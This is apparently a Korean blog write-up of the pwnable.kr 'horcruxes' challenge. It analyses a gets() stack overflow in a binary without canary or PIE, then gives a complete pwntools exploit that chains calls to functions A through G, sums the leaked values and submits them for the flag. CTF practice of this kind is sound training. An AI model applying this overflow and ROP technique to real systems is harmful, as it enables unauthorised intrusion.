ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • pwnable.kr - horcruxes
    pwnable.kr 2023. 6. 7. 14:15

    checksec

    canary와 PIE가 미적용되어있다.

     

    main

    hex-rays로 본 main함수의 모습이다. 순서대로 호출되는 함수들을 확인한다.

     

    init_ABCDEFG

    랜덤한 값을 a, b, c, d, e, f, g 에 넣은 후 모두 더한 값을 sum 변수에 저장하고 있다.

     

    seccomp-tools dump ./horcruxes

    시스템 콜을 제한적으로 적용(ALLOW LIST)하고 있다. unintended solution을 방지하기 위한 코드로 보인다.

     

    ropme
    A

    sum 변수의 값과 v4의 값이 일치한 경우 flag를 출력한다.

    gets()에서 stack buffer overflow가 발생하고 있으며 canary, PIE가 미적용되어 있기 때문에 코드 내 임의의 영역으로 실행흐름을 변조할 수 있다.

     

    from pwn import *
    
    shell = ssh(user='horcruxes', host='pwnable.kr', port=2222, password='guest')
    p = shell.remote('0.0.0.0', 9032)
    e = ELF('./horcruxes')
    
    A = p32(e.symbols['A'])
    B = p32(e.symbols['B'])
    C = p32(e.symbols['C'])
    D = p32(e.symbols['D'])
    E = p32(e.symbols['E'])
    F = p32(e.symbols['F'])
    G = p32(e.symbols['G'])
    
    payload = b"A" * 0x74 + b"B" * 0x4
    payload += A + B + C + D + E + F + G + p32(0x0809fff9) # call ropme()
    
    p.sendlineafter(b"Select Menu:", b"1")
    p.sendlineafter(b"How many EXP did you earned? : ", payload)
    
    EXP = 0
    for i in range(7):
        p.recvuntil(b"EXP +")
        EXP += int(p.recvuntil(b")")[:-1],10)
    success(EXP)
    
    p.sendlineafter(b"Select Menu:", b"1")
    p.sendlineafter(b"How many EXP did you earned? : ", str(EXP))
    
    p.interactive()

    최종 exploit 코드다. 처음에는 a,b,c,d,e,f,g 변수를 확인하지 않고 바로 flag를 출력하는 코드로 실행흐름을 옮기려고 했는데 ropme()의 주소에 line feed(0x0a)가 포함되어 있어 payload가 정상적으로 전달되지 않았다. 그래서 어쩔 수 없이 A, B, C, D, E, F G를 모두 출력해 EXP의 총합을 구하는 방식으로 문제를 해결했다.

     

    flag

     

     

     

     

    * 때때로 EXP의 총합이 int 자료형의 범위 밖 값을 가져서 flag가 정상적으로 출력되지 않을 수도 있음

    728x90

    'pwnable.kr' 카테고리의 다른 글

    pwnable.kr - blukat  (1) 2023.06.06
    pwnable.kr - unlink  (0) 2023.06.06
    pwnable.kr - asm  (0) 2023.05.05
    pwnable.kr - memcpy  (0) 2023.05.04
    pwnable.kr - uaf  (0) 2023.04.24
Designed by Tistory.